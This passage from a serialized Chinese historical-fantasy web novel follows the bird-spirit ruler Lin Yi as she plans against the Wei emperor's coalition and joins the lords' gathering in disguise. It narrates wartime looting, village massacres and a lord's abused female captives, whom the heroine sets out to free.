不管林一愿不愿意承认吧,反正魏帝是把祸乱江山这个锅归给她的,主要当初林一打四郡和天水贼几乎同步,林一觉得魏朝灭亡从天水军始,但其实有相当一部分人不怎么情愿把朱大方这个层次的流民首领看作王朝末路的第一把火,所以稍微加工一下就成了妖女祸乱。 而且她还自称是飞鸟化人呢,禽鸟之身,那不就是承认了自己是鸟妖?非常合理。 不止江骋那边要开会讨论,追上去吃了那条菜青虫后,林一也组织了一下在勃海的群臣开会讨论下一步的计划。 她这个群臣的班底……比较寒碜。 崔殊不在,王澈坐的是谋臣席位第一个,虽然这里的大部分人都不认识他,也不知道他有什么功绩能坐这儿,但面上都还是友善的,这也不难装,谁对上王澈的脸都撒不出火来的。 崔元和苏起在王澈下首坐着,两人关系比较近,也经常来往于勃海和胶东之间,其后是琅琊王氏宗子王宣,东莱王氏宗子王修,对面当然不是武将席位。事实上林一班底里的武将都安置在郡县地方上了,对过坐的是高若封时还有几位新入职的官员,林一进来的时候都惊了,没想过自己的破班底还能坐得挺有气势。 王宣挺急着表现的,林一一入座就开口说道:“如今魏帝想将我们置于火炉之上,若以讨逆为名,令天下反王会盟,来争一席,我主则危矣!” 高若皱着眉头看着这个年轻小伙,“不要夸大其词,现在只是商议应对,什么天下反王会盟,如何会盟,在哪会盟?一天到晚学些纵横家的口舌。” 崔元想了想,打断说道:“主要是江骋和陆行两方,此二人一头一尾与我方接壤,或是会令英雄聚于洛下……” “年轻人一天天的净会胡思乱想,难道集个几十万兵马来攻我们?”高若不屑,“魏朝最鼎盛时能调动十几万兵就不错了,粮草后勤哪里来?书生写话本,神兵从天降?” 林一揣着手坐在上首,咂了咂嘴巴,有些想蝗虫的滋味了,今年勃海及其周边地区农田里翻出来的蝗虫卵不多,都集合到她这儿来了,她挺喜欢吃,生吃脆脆的爆浆,炸着吃口感也好,带着油脂的虫类蛋白质给她香得很迷糊,但她同时也很认真地听着底下人扯皮,听了半晌她觉得还不如抓一把虫卵吃着听着呢。 这边封时正在拉偏架,高若占上风的时候他就坐着看,高若说不过那起子年轻人了,他马上开始故作理中客,“哎呀哎呀,当着主君的面不要吵,我来说句公道话,要我说这个会盟来攻属实有些异想天开了,不说魏朝那边付不起粮草,就是诸侯自带粮草过来,除非能借道西北,否则从哪里来攻?常山郡已经重兵驻扎,而且易守难攻……” 苏起睁着一双无神的眼睛,也开口加入战团,“为何不可能自带粮草来会盟?士卒在地方上就不要吃用?借会盟为名过境,进可以劫掠巨室,退可以强夺百姓,再讨一个王朝正封,胜则养名气,败也可以寻个强力主家货与主家。” 他这么一说,众人都陷入了思考,是、是这样的吗? 之所以没想到那么多,是因为其他地方不像胶东那边山匪海盗遍地,尤其是高若,郡守做久了,从来没换位思考过,站在那些小反王的立场上,可能这些小反王本身就是靠着烧杀抢掠起势的,魏朝那边的讨伐令有用吗? 有! 王澈伸手敲了敲桌案,示意众人噤声,他也没像其他人那样,起身才开口,而是安坐在席位上,等众人都安静,朝他看来,这才说话:“不必讨论这些,诸位看地图,自洛都开口处向巴蜀与长沙的扇形区域内,其中大小诸侯几十路,不破我方,如何扩张?要商议的不是会不会,而是如何应对。” 中间其实摆着地图来着,林一的习惯,开任何会议都喜欢摆地图,这下众人顺着他的话看去,那一大片扇形区域有名字的,益州和荆州。 州这个范围是非常大的,益州下辖八郡一百三十多个县,荆州下辖七郡一百多县,加起来两州之地有二百五……就那么一说,差不多二百五十个县哪。 残破的王朝发出了最后的龙吟之声。 众人都有些震撼,林一则是抓了抓头发,问道:“就是说,大战要开始了?今年春耕赶得完吗?” 王澈这倒是笑了,“盛夏易生疫病,应当会在秋时会盟,不光赶得上春耕,也许还赶得上秋收。如今之计有两条,正名与联盟。” 林一细听他放屁。 “魏帝否决主君的身份,是要否定主君的理法地位,总有愚人无知人云亦云,反而愚人是大多数,我们不要在和亲公主这个身份上纠结反复,接下来甚至都不必给主君找个出身,直接宣扬主君天命在身,乃神鸟降世,再请方士散布一些魏朝气数将尽的说法,我们把战线拉到神话这边来。” “其二联盟,如能和西北联盟,或许能够直接打灭魏朝,分吃干净,但是不易。其次陆行,江东联盟一盘散沙,恐怕战力不足,但是与江东联盟至少能够保证后方安定,将江东的兵拥在身侧,许以利益,或许可行。” 王澈说到这里,笑了笑,说道:“当然,拉西北下水嘛,魏朝那边不是说主君杀了公主冒充身份吗?不必自证,直接散布消息,江骋昔年送嫁,见色起意轻薄公主,公主含恨自尽……” 林一敲敲桌子,“别扯这个,叶家旧部都知道怎么回事,除了脏手没好处。” 其实是有好处的,但是王澈知道林一不想搞这些虚头巴脑的东西,也就拱了拱手,示意自己说完了。 除了最后那点缺德内容,剩下的林一全盘听从王澈的计谋,组织了个使团往江东去找陆行联盟,苏赫忽律为主使,另配了崔元为副使,当然谁都知道副使才是干实事的,主使是个身份象征。 四月末,见西北这边迟迟按兵不动,魏帝萧宏果然是个按表走的,发布讨逆令,号召天下诸侯前来会盟,讨伐林贼,响应的也的确多是益州荆州两处的小诸侯,多者万余兵马,少的百十人就能凑一路。有的甚至还套了大车带了些地方特产,不能白来,顺便卖货,这是比较务实的一批。 上万兵马的诸侯打着奉天讨逆的名头过境,世族巨室少不得出些路费,偶尔拉壮丁抢民女都算是良善的了。有的直接就是山匪凑热闹,去不去的两说,反正爷是奉令去洛都会盟的,今天搁这儿就要睡了你家女娃,吃你家缸里的麦子,睡你屋头的床!咋,还能闹大了? 真的闹大了,五月过半,南阳郡发生了一起屠杀。 南阳郡乃是魏朝下辖县最多的郡之一,全郡下辖三十六县,所以历来就是世族林立,人口众多。也正因为青壮多,所以这趟奉天讨逆,南阳郡去了十几拨人,三千五千的有,二百五百的也有,在隔壁南郡一支千人队赶来时,邓县的下河村正好少了几十个青壮,都跟着村长家老二上城里集合去了。 那支千人队本身就是土匪居多,见村中多妇人少青壮,马上起了歪心,连村长久病的婆娘都没放过,老头孩子全打死,女人用绳子捆着双手拖着走,当然不会一直带着,人能饿多久就带多久,饿死了拉倒,粮草是不可能分给她们的。 这支千人队脚程还算快的,正好赶上下河村青壮所在的那支讨逆军,一见到面还有说的?村长家老二看到自家老娘和新媳妇儿都被捆着走,眼珠子顿时红了,一个村子的年轻人也都红了眼,两方直接在南阳就打起来了。 南阳这边人口多,而且青壮汇聚,听说有南郡的军队来屠村抢人,顿时讨逆也不讨了,一拨拨人冲过来就动手,接下来还有南郡的兵马想过境?门都没有! 世道乱,见过血的年轻人总是不安定的,五月末的时候,就有南阳军以报仇为名去屠南郡的村子了,邻居往往能发展到世仇的重要阶段就是你给我一下,我也还你一下,几个回合下来就成了世代血仇。 除却南阳,还有不少诸侯过境之地也在发生一起起血案,有的起初是劫掠,但只要打破了第一个村民的头,接下来就不再有顾忌了,未必是想搞屠杀,但只要有第一个人动手砍杀了阻拦的青壮,尝到了尸体边上摸钱串,不必费事抢夺的甜头,第二次的时候就会“熟练”许多,第三第四次,就会以杀人为勇武的证明,甚至排挤不杀人的同伴。 人不能染上同类的血,一旦染上就会生病,疯病。那种心绪就像是疯马拉车,车轮滚滚向前,除非撞上南山,否则是回不了头的。 被三大反王压制了两年的乱世,在末路王朝最后的呼唤声中,还是回归了血腥的本质。 第159章 盛夏时节,大会诸侯。 林一从泰山郡出发,过鲁郡、定陶、陈留,也来会盟。她带了约莫八千人,队伍多青壮,骑兵三百,步兵披甲,这趟出来身边带着崔殊和呼兰霍兰,还有一名女将金玉兰。 金玉兰年纪在三十上下,很是爽快健谈,从军后不久就因为剿匪有功连连升迁,在不打仗的时候,林一军中升迁也是按人头数来的,金玉兰按雪域的带兵习惯,算是五百兵主,说明她剿匪的数目要等于这个数字。 呼兰霍兰和崔殊不是很熟悉,他对不熟悉的人就一个词,沉默,于是一路上少有回应,崔殊话多,正和金玉兰解释这趟的目的。 “知己知彼百战百胜,主君曾经孤身一人来到胶东,打下整个胶东,但是如今是诸侯会盟,鱼龙混杂,指望从别人的队伍里拉人头充军,自身是要有资本的。”崔殊很和善地说道。 “八千兵马正好,适当的装备优良,以显示实力,主君不惯劫掠,所以我们带上粮草辎重慢慢走,而主君是女子的事情天下皆知,突然出现一路从未听说过的小反王,又是女子之身年龄近似的话,会很容易惹人怀疑,所以需要主君披战甲铜盔,扮做男子英姿。” 林一从前头回过头瞅崔殊一眼。 自家缺德军师平时话虽然也不少,但和陌生的将领说这么多话,也有一点点奇怪了嘎。 金玉兰却是一身的慈爱母性,看着林一又回身过去的背影,啧啧赞叹道:“我们大王真是做女儿也美,做男儿也英武,我家诗诗就是年岁小些,要是合适,大王又真是男儿的话,这个女婿真是抢也要抢到手的。” 对于金玉兰母女的事,崔殊也知晓一些,他略压低声音问道:“江骋也是英雄豪杰,金大姐怎么看不上他?” 金玉兰连忙摆手又摇头,不说妾不妾的事,谁家好人一年娶十四个侧室偏房,每家还夹带两三个陪嫁娘子呀?真把后宅当后宫了,更何况那江骋后宅里才出过事,除了那脏心烂肺的东西,哪个做父母的舍得把娇娇女往吃人不吐骨头的地方送。 她这是还没从年岁尚小的宋诗诗那里听闻江骋一心一意守着正妻睡觉的事呢,要是知道,马上脸色更难看:必是个硬不起来的货色,专门祸害好姑娘。 崔殊笑得像个猫一样,胡子往两边舒展,“如今常山郡重兵把守,我韩弟与段凛共同驻守,二王子前往江东联盟陆行也十分顺利,再让主君混入会盟队伍之中搅搅浑水,此战必定旗开得胜。” 招数是王澈支的,实行是崔殊做的,林一感觉确实还是很有条理,但是她马放慢了些,还是伸手戳了戳崔殊的肩膀,“道理是这么个道理,但是咱们军中大多是河北胶东辽东的口音,和别人混在一起的时候,口音会露馅的吧?” 平头百姓和世族从小学两种语言可不一样,一辈子只会说方言的占九成,能说点蹩脚外地口音的都少有,这也是很大的问题,直接告诉别人自家来自林一地盘上? 说实话,这点不管是王澈还是崔殊都漏算了,林一也是带兵途中越听越不对劲才想到的。 但崔殊脑瓜子略微一转,就道:“沿途我们再收些河南兵,不必考虑太多,去会盟的诸侯除非特别心细布置探子,否则只要不入我军营,很难发现我们这边的杂烩口音,如果被问及,就说收拢的流民军,大多数人不了解我们的情况,推己及人也会觉得从燕齐之地逃荒的流民成军不是大事。相反重点,我们要为主君制定一个合理的身份。” 林一洗耳恭听。 崔殊咧开了嘴巴,指了指自己,“范阳崔氏前宗子崔殊,自幼聪颖异常,入仕后被魏帝针对,贬官流放,失踪数年,如今携大军归来……” 林一指着不远处的峡谷,“滚!” 崔殊不开玩笑了,解释道:“有名气的肯定不行,但也不能没有名气,*先敬家世后敬人,尤其是反王群体,不能在洛都有太多认识的人,我就不行,我在洛都的名头还是有一些,有名气又不能太大,只能从家世上入手。” 林一撸起了袖子露出了强壮的臂膊,声音粗噶,“恁说不说?老实点!” 崔殊虽然拥有单手擒韩大将军的膂力,但面对巨鸟的胁迫还是屈服了,赔着笑说:“所以大王可以冒充琅琊王氏子弟,王宣不行,他早年在洛都也出过名,不过王宣有两个弟弟,王信和王醉,一个二十四,一个十九,大王可以冒充二……” 他又瞅了瞅林一男装后显得年幼一些的脸庞,改口说道:“十九的王醉,他表字听莲,小妇所生,巧合的是那小妇的父亲是王氏家将,我们军中正好口音混杂,可以说成琅琊沦陷后,王醉不服大王,带着王氏部曲出走,路上收拢了些流民。” 林一皱眉,她的身体是恒定在十八岁的外表,冒充个十九岁的少年郎也还行,只是她显得有一点忧愁,凑近了问他,“俺扮男人能行吗?会不会很明显,俺也只是换了件衣服而已,像轮廓长相之类的,俺能中?” 金玉兰很沉重地捂住了嘴巴,背过身去。 而崔殊很认真地端详着林一的外表,琢磨着说道:“是有些过了,世家子前几年流行面上敷粉,修眉簪花,就算这几年不流行了,也不会弄到大王这样粗糙的地步……” 今天的后半程路,崔殊是被挂在旗杆上的。 抵达陈留郡时,林一遇到了第一支要赶往洛都的队伍,是个八百多人的乡勇队伍,由一个县尉两个村长带队,全是步兵,粗布麻衣,手提肩挑着行李和粮筐。 县尉四十来岁,一脸的坚毅之色,身边有几个长相近似的后生护卫,远远地见到林一这支军容整肃的披甲军士,就大步过来,抱拳询问道:“敢问是哪家贵子带队,可也是往皇都会盟的吗?” 林一很有礼貌地从马上跳下,也回以世家礼节,并指为礼,鸭子嗓低沉地道:“正是,在下琅琊王氏子名醉,字听莲,家父王仪,如今父兄皆在敌手,不得已而从贼,令俺在外奔走,盼俺会盟成功,救家乡父老于水火。” 县尉也很客气地拱手道:“俺们是小黄县的乡兵,公子叫俺老田就中!这位是俺二伯,公子赏脸就喊声田二伯,这位是俺丈人吕翁。俩都是小黄县底下村子的村长。这回领着乡亲们去会盟,也是想给朝廷出把子力气!” 林一就很感叹地说:“是啊,没想到朝廷到如此份上,还能有这样的心气,打完了妖女打西北,好叫天下太平如初啊。” 她的声音还蛮大,自家队伍里不少士卒眼神诡异地张望过来,至于演技那是一丁点都没有的。 田县尉反而觉得还是年轻人想法少,看林一也面善,不由沉声点了点她,叹道:“哪儿恁容易啊!眼下也就是豁出命拼一把罢咧。西北那块儿嗐!” 林一才发现这边的人是觉得她不如江骋厉害的,虽然战绩一看差不多,但是江骋是杀出来的名头,她没有搞过屠杀,还格外注意控制战损,就导致打她好像比打西北容易许多。魏帝老头除了比较恨她之外,也是权衡过的,比起宣布西北是逆贼,拉拢林一去打西北,他还是觉得西北这边更硬实,林一是个软柿子。 两支队伍很自然地走在了一起,林一还分了田县尉这边十几匹马,让两位村长老人家也是吃上了磨裆的苦。 田县尉是会骑马的,从姿势就能看出来,他轻轻拍了拍马脖颈,有些追忆地道:“俺年岁轻那会儿,在皇城根儿禁军里头当差,骑着马绕过宫墙转悠。嗐!一眨巴眼快二十年喽……那咱儿日子多安生呐。现下可好,到处闹反贼,这世道往后咋样,真真儿说不准咧。” 林一没吭声,因为不知道咋回,她就是反贼之一,但她没觉得这是自己闹出来的事,田县尉感叹了一会儿,略微压低声音问林一说:“那壮士生得不似魏人面貌,俺瞅着倒像是……” 关于呼兰霍兰的面貌问题,这点也是事先讨论过的,林一笑了笑,伸手拍了拍他健壮的肩背,“是啊,异域的人,海上送来的货,族中的丫头见他生得好,从奴贩子手里买的,只是姑娘家用个壮奴实在不像样子,俺叔父就转送给了俺,现下当做亲卫用。” 田县尉信了,因为逻辑挺通顺,但是他忽然定睛一看呼兰霍兰,脸上就露出了一种苦巴巴的没眼看的神色。 俺早晓得洛都有人会买昆仑奴,昆仑奴平常就是跟个牲口似的,见到姑娘家就没命,可是这大个子异域奴隶看着也不是昆仑奴,而且高大健壮俊朗体面的,被小娘子摸两下倒不算啥……可咋被人家俊俏小郎君拍两下,也能、也能来劲儿啊? 第160章 这会儿天色还行,这个天气也用不着安营扎寨,讲究些的席子一铺,不讲究的三五个一叠就睡成一团,所以也用不着找地方借宿。这不符合田县尉一行人的习惯,他们才不到千人,都是步行,到晚间是支锅架帐的。 因为拿不准这些披甲军士的习惯,小黄县的乡兵们都没吭声,田县尉准备问的时候,林一看了看天色,就在一条小河边叫停下了。 随后八千披甲军士留两千人在外围巡逻,剩余的人一下子都松快下来,有的忙着解甲,有的急着用兜鍪去舀水喝,也有的去收集柴火准备熬粥喝,林一笑着按住田县尉的肩膀,“俺看田老哥这边带的粮草不多,既然有缘结伴,不如请你们吃几顿,来,一人分去一伍吃些喝些,前往不要和俺客气!” 她话音才落,呼兰霍兰就点了几个油滑老兵去拉人入伍,严格按照林一说的“一人分去一伍吃喝”,要是换成打仗,这就是分割战场的基本操作,一个个小黄县乡勇被单个带到一伍里,端着匀出来的碗,显得有些腼腆。 金玉兰那边直接上手拉了十几个年轻人去她的五百兵那里,扯着嗓子喊:“这边来几个伍长,把好小伙们带去吃饱了,今天客人不吃饱,谁都别想睡觉,嗨!就是行军路上没带酒,不然也叫人家尝尝咱齐鲁的好酒,有机会的话。” 她甚至都学上倒装句了。 林一对军粮很严格,在雪域是因地制宜,她通常会让雪域骑兵们准备奶酪炒青稞茶叶和盐,牛羊肉干等,这些足以弥补行军的消耗。来到中原之后发现,中原这边肉类不足,大多数军粮都是米面馍馍熬成糊糊,为了补充士卒的日常消耗,她自己研究了一套军粮补给方案。 首先是稻米去壳,加盐炒熟,在应急时抓一把盐炒米加水就可以熬成一锅咸粥,在出征前她一般会集中收猪,瘦肉就地给军士加餐,肥肉熬油,也携带干脆的油渣作为军粮之一,而熬出来的油脂在热天时很难凝固不好携带,就以炒熟的豆子面和麦面黍米面混合压实成饼状,晒干后可以保存很久,码在盐桶里可以保存更久。 然后才是些风干的腊肉,野菜干等,林一觉得维生素摄入量可能不够,沿途还会采集野菜野果随机给士卒加餐,她自己也吃这些。 她负责带着田县尉和两个村长老头,还有田县尉的几个后生晚辈吃饭,没有让客人动手的道理,林一开了个盐罐子,数了数人头,拿了五块猪油粉饼放到大锅里。火舌舔着锅底,滋啦几声猪油开始冒烟,就有香气逸散出来,林一还拽了几根野葱往锅里扔。 田县尉都忍不住抽了抽鼻子,离乡约莫有七八天了,一路上他们吃的都是自家带的大饼炒米炒面之类,其实哪舍得放开了吃啊,都是路上挖的野菜一起煮,主要吃一些野菜面糊糊,这油香油香的多馋人啊! 炒开了猪油粉,林一往里倒了小半袋子稻米,加水和腊肉丁,这可不是熬粥,是焖腊肉米饭!水加得很少,刚刚没过腊肉丁而已,锅盖才盖上,一回头就看到田县尉几个眼珠子绿油油的盯着火光了。 她咧开了嘴,也不铺席子,围着火一屁股坐下,笑着说:“这年头,当兵吃粮,吃粮当兵,俺也没有别的,就是要管个饱饭。” 田县尉的老丈人吕翁捻着胡须,感叹道:“公子哎,这可不是管一顿饱饭的事儿,八千张嘴等着喂呢,难着哩!可不容易!” 林一很诚恳地说:“他们拿命跟着俺去干,吃些喝些算得了什么,俺忧虑的不是他们的吃喝,而是怎么在这个世道底下,管他们不死。” 吕二伯动了动嘴唇,想说黄口小儿太过天真,但对上林一那双流光溢彩的眸子,话就不大能说得出口了。 田县尉笑着接过话,说道:“俺听说那些会盟的诸侯都有个响亮的字号。有叫‘奉天军’的,说是奉天讨逆;有叫‘太平军’的,喊着要平定天下;还有支汝南来的‘南十四军’,听说是因为赢了十四仗,他要是下一场也赢,就叫十五军了。俺看公子气度不凡,队伍也齐整,没个名号可不成。方才公子那番话说得在理,要不就叫‘不死军’?” 崔殊全程都没开口说话,这会儿眼神挺诡异地在两拨人脸上看来看去。 还给我们大王的军队取上名字了?恁几个知道不知道,鸟大王已经自动把你们纳入麾下了? 林一拍了拍田县尉的肩膀,嘎嘎大笑道:“好!就叫不死军了!盼俺的将士们百战不死,太平安生,来来来,瞅瞅饭熟了没!” 饭还没熟,不过盖上盖子再焖了片刻就熟了,盐分和油脂都很丰沛,去壳的稻米粒粒分明,夹杂着腊肉丁和野葱的肉香葱香,嚼起来口感偏硬,腊肉丁像是牛肉干的口感,一口下去给人香迷糊了。 其实也就林一舍得,其他伍里还是熬粥居多,但滋味是真的好,有的小黄县乡勇直接连干四五碗,吃得肚子滚圆才肯罢休,也有的腼腆不肯多吃,被两三个人拱起来灌,灌人的多半是齐鲁兵,所谓浩克……啊不是,好客齐鲁嘛。 饭后,横七竖八躺了一地人,不知道还以为是经历了一场惨烈的大战,之前田县尉以为林一是世族贵公子做饭不晓得轻重,几个后生两个老头加他,吃不了一大锅米饭的,结果就眼睁睁看着林一一个人吃了大半锅,他们剩下的人吃那小半锅都撑得慌,不由感慨,看人家大世族出来的就不一样,这饭量不是世族出身,哪家养得起这种大肚后生。 歇了有段时间,田县尉正在给自家二伯和丈人铺草席,就看到之前在外围巡逻的两千兵和内围的军士换防,明明之前也是横七竖八躺着的,一到换防时刻就束紧甲胄,戴好兜鍪,军容整肃地列队,而那支换下来的巡逻兵就开始用那些搭好的土灶台做饭吃了。 田二伯没见过精兵啥样子,和侄子感慨呢,“瞅瞅人家的后生,再看看咱的后生,一个天王门前护法的架势,一个是村里啄食的家雀儿,咱缺练啊!” 田县尉迟疑道:“二伯啊,俺觉着这可能不是缺练的事儿。” 小二十年前,朝廷的禁军也就这个架势了,他还记得那会儿,是叶老元帅回洛都述职时候,专门整肃过军纪才有的一段时间齐整呢。 田二伯私心里还是觉得自家后生只是缺练的缘故,没理会他,倒是吕翁坐在席子上拍蚊子,眼珠子就没从林一身上离开过,拉田县尉过来,压低声音说道:“贤婿,恁是见过世面的人,恁看那王公子人品咋样?合适俺家小妮儿不?” 田县尉顿时就有些犯难,吕翁家中有三个女儿,一个早年外嫁,他娶的是二女儿吕青青,成婚好些年了,丈母娘过世也有段时间,不料吕翁那里宝刀未老得了个老来女,自小爱若珍宝,养到现在十三岁,县里的青年才俊挑了个遍也没看上,而且吕翁很抗拒提给幼女议亲的事,问就是娃娃还小呢,主动提这事是第一次。 可这、可这……田县尉很委婉地说:“世族的公子哥儿,又这么本事,可能早就娶妻了。” 吕翁年老,有些固执,“俺听说世族才爱晚婚,三十岁上不肯娶的多的是,小妮儿恁没见过?多白净漂亮的娃娃,俺们县里哪家不惦记她!” 田县尉只好哄道:“明天我去问问看,也许就能成,其实俺觉得小妮儿找个小门小户的就很好,咱都能看顾着,真成了,人家这儿,咱可说不上话。” 吕翁这才满意地闭上了眼睛。 次日启程,田县尉还真去问了,不过没好意思去问林一本人,而是找到了崔殊问的,崔殊看起来是这支队伍的军师,他甚至很有风度地穿着一身白袍,可不是白衣的那种,而是纯白色的文士白袍,听了田县尉扭七扭八的打听,崔殊的脸上笑容逐渐扩大。 “啊……主君是否婚配啊,这个说起来就话长了,现在是没有的,不过嘛,之前的还真是不少。”崔殊故作回忆,又非常唏嘘地和田县尉说道:“咱们主君不是王家主的小妇所生嘛,恁也晓得,宗子是他大娘生的,占尽家族资源啊,所以为了出头,就不得不做点……唉!总之,那是个带着三个孩子的寡妇,风韵而多情,最重要的是颇有家资。” 田县尉都忘记最初的目的是啥了,耳朵竖起来听。 崔殊知道林一耳朵好,全程压低声音,极小声地道:“那寡妇带的三个孩子,都是顶顶漂亮的,大小姐喜欢武艺,英气勃勃,二小姐肌肤如春雪,有些笨笨的,小小姐天真可爱,喜读书,软绵绵的性子,都倾慕我主君的风采。可我们主君乃是正人君子啊,百般的推托不受,只与那寡妇来往,得了一大笔资助后,出来自立门户,彼时又有一位……” 林一在前头骑马,渐渐地感觉后方看她的视线变诡异了起来,狐疑地回过头。 嗯?没人看她吗?魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 160-170 第161章 从陈留郡往洛都实际上是很近的,约莫等于邻居,不过这次会盟自然不是在一国之都城,难道叫天子出宫来见“诸侯”们,会盟地点是河内郡中。 又走了五六日上,就抵达了黄河渡口延津,需要从这里渡河前往河内郡,延津渡口平时就备有船只,冬季水流少可以涉河而渡,如今正是盛夏,只能凭借船只来往,不凑巧的是,已经有不少军队……难民……流民在渡河了。 林一实在有些不确定那些一团团等在渡口处的,面黄肌瘦的人们是军队还是别的什么,别讲甲胄兜鍪了,这些人手头上就是连根棍儿都不直溜啊。更别提如今夏季,大部分人都光着膀子,有条裤子已经颇为体面,还有些兜裆布都磨破的,真叫一个惨不忍睹。 相比之下,老田的八百乡兵看起来都像是少爷兵了,而林一这边人人披甲戴盔,更是天兵天将一样。果然才到渡口,远远的就有渡口官员亲迎,在一行人中望了望,视线直接略过小黄县众人、呼兰霍兰、穿戴盔甲的金玉兰,在林一和崔殊的脸上扫了扫,准确无误地对林一行了个折身礼。 “小将军远来讨逆,一路风尘,真乃忠心报国之士也!下官公孙启,乃是临时遣来为诸侯调配渡口船只的官员,不知小将军是哪家哪户的王孙公子,麾下具体人数,容下官记录在册,好马上安排船只通行。” 林一摆了摆手,说道:“在下并无官职或武职在身,乃是琅琊王氏子,王醉,字听莲,贤伯能尽快安排船只就再好不过了,小子军中八千八百九十二人,另有战马三百,与辎重一同渡河,还是需要花费一些时间的。” 公孙启表情有些为难,却是一口答应下来,马上喊来属官,让正在渡河的先停了,集中船只运输林一的人过河,他自己则是陪着这位琅琊王氏的公子闲谈起来。 田县尉那边就有些懵了,走了一路过来为国出力的,河边挤着那么多人呢,咋一来王公子就可以直接渡河,我们、我们要在这儿等多久? 崔殊笑眯眯地拉过他这几天的聊天搭子,压低声音说:“田兄别急,我家主君说的可是八千八百人,我们的队伍,可是只有八千之数啊,这是已经将你们的兵员安排进去了。” 田县尉松了一口气,又有些郁郁地道:“以身报国,还要看三六九等,奉天讨逆,还是世族先行……嗐!” 崔殊却是笑着说:“面子可不是世族给的,是那些盔甲军械给的。田兄,往后的日子,谁手头上精兵多,才叫风头劲,乱世才是最不重出身的。” 田县尉还是摇头,“村里的大老粗就是能聚拢一帮兄弟,拉起一支队伍又怎么样?想干成事,还是要请军师,军师从哪来?还是世族来!所以乱世里也还是世族能活,我等小门小户的,还是盼着世道归正,地里刨食,那才是咱大部分平头百姓的日子。” 崔殊多看了他一眼,这话可不像是一县之县尉说得出来的。 林一那边和公孙启却已经快把天聊死了,主要是公孙启太过热情,明里暗里打听林一军中的情况,还有意问了林一缺不缺军师,看来朝廷官员都知道朝廷这份粮吃不了多久,就差没直接说想来林一帐下为臣了,而林一其实很不缺谋士,她也不怎么看得上这种把钻营写在脑门上的老油子。 好在聊了没一会儿,似乎是从东郡方向又来了一批军队,属官过来找公孙启了,他面上稍显为难,还邀请道:“王小将军不妨与启一道去见见那位东郡的马少将军?都是年少英才,或许有话聊……” 林一又摆了摆手,“不了不了,贤伯去做事吧,俺去看看渡河情况。” 公孙启只好先去招待那位马少将军了,林一也没有说假话,她真去渡口看了看,船只有大有小,为了防止辎重被抢夺,所以崔殊已经安排好,先过河一半兵力,然后来回运输粮草辎重战马,剩下的一半人等这些运输完再渡河,因为水流湍急船只有限,预计需要一两天的时间才能过完。 这情况已经很不错了,毕竟黄河又绕不过去,林一过去管了管纪律,又把呼兰霍兰留下来了,这支被田县尉取名不死军的军队,几乎有一大半都是呼兰霍兰带出来的人手,剩下的是韩小六的旧部,也听崔殊管,军纪非常好。 林一按照雪域的习惯设立千夫长和五百主,再往下是百夫长和什长,最小的军职是伍长,十人一什,五人为伍,步兵就是应该管理更细更严格,因为这些人是长期生活在一起的,层层约束才能军纪严明。 这样的一支军队在专心渡河,就算河岸边上的空地那边忽然传来一阵阵欢呼海啸,也没什么人为此停步,最多抽空看一眼。倒是林一挺好奇地凑过去看,崔殊也想凑过去,却被田县尉拉住了,田县尉的脸色有一点难看,回头对乡兵们喝道:“都做自己的事去!丧良心!俺们小黄县的男儿,出来是为了保家卫国,奉天讨逆的,不是为了祸害女娃!谁敢多看一眼,晚上别吃了!” 他声音还不小,许多乡兵听了都缩了缩脖子,而林一那边也看到了人群欢呼的画面:那支东郡来的兵马,人数约莫四五千,也是甲胄在身,兵器合手,和她这边不同的是,这支军队的后方用麻绳绑着一串约有百十人的少女和妇人,年纪绝对没有一个大于三十的,有的丰腴有的干瘦,有黑有白,无论身形如何,都透露着一股极青葱水嫩的年轻气息。 之所以林一看得出身形,是因为这支甲胄齐整的军队,他们绑在后方的这些女子,身上**。她们有的低头垂目,用头发遮挡面容,有的缩头缩脑,躲藏在同伴身后,也有高高昂着头,却是满脸污秽也不肯服软的,遮盖不住身上的凌虐痕迹,这些人里,越是一看就烈性的,身上痕迹就越多。 东郡,马少将军? 因为黄河渡口两边都比较平坦的缘故,林一马上锁定了来人,公孙启的身侧,一个青年骑在马上正笑着说些什么,崔殊马上发觉不对劲,一把架住林一,“主君,哥!王哥!王哥!……别冲动别冲动!小不忍则乱大谋,不是什么大事情!异人过去说,花些钱,买过来……” 他一声声的王哥是在提醒林一她现在是孤军深入,不能暴露身份。 林一气得大声嘎嘎,秃噜了一串鸟语,时至今日她明白这里的女人和她们鸟人的雌性是完全不同的概念,更应该代入成为公鸟的地位。她天生对弱者就有一种保护欲,对农人如此,对妇人也是如此,谁强揍谁,谁弱帮谁,是一只非常善良正直的大鸟!她磨着牙问崔殊,“怎么先把人弄过来,然后路上我们弄他,弄他不用多说,现在先把人弄过来。” 崔殊松了一口气,在她耳边叽叽咕咕了起来。 片刻后,林一朝着公孙启那边走了过去,崔殊寸步不离,公孙启有些受宠若惊,连忙向林一介绍马上的马少将军,“王小将军,这位是东郡马氏的公子马彦,字俊君,马氏乃是东郡的郡望,这次为报国出动家兵,也是一方英豪。马公子,这位王小将军是今天要过河的,出身琅琊王氏,一品大世族的公子。” 就这介绍水平,稍微受过世族教育的就能明白地位高下,那马彦起初高傲,听见公孙启是先给林一介绍自己就觉不对,等听到琅琊王氏的名号,这下再看看正在渡河的那一批精兵,慌得立刻从马上下来,给林一行了一个世族的礼节,笑着道:“原来是琅琊王氏的公子当面!在下马彦,不知公子之名,失敬失敬!” 林一懒得和他客套,压着嗓子说,“你带来的那些女娃娃,出个价钱。” 马彦愣了一下,笑容马上就暧昧了起来,“公子有此雅兴?那些都是我这趟特意带出来的,以作营妓之用,不是什么良家女子,多是些犯妇窑妓,公子如果行路寂寞,彦这里有些私用的美姬,专给公子挑两个没破瓜的如何?” 崔殊一把抱住林一的腰,勉强拦住了林一的火气,她把崔殊踹开,咬着牙,怒斥道:“全都给我!” 马彦都被这股怒气吓着了,不过也不是什么大事情,兴许这位王公子比较大方,是给他军中兄弟买一批营妓呢,倒也不多想,当下就笑道:“王兄客气了不是?不过一些女子,就当我们交个朋友了,来呀!把那些妇人都给王兄军中送去,那个,我车上的十二名美姬……也给王兄送去。” 说到前者很大方,后面就有些肉疼了,那些美姬一个个都是世族家生子,精心调养出来服侍男人的,都是上佳的姿色,歌舞双绝,一把全送出去,这几日夜里恐怕难熬。 他的表情还是挺明显的,或者说是故意让林一看出来他肉疼的,这样礼物才显得珍贵。 然而林一接收了人,很没礼貌地转身就走,渡河!渡河!等渡过河,马公子就可以与鱼长眠,再也不用想这些有的没的了。 第162章 林一这边的辎重里有多的甲胄二三千套,是为了路上收拢新兵用的,衣裳这个还真没有,士卒自己通常会自带衣物换洗,林一也没让他们拿出来。 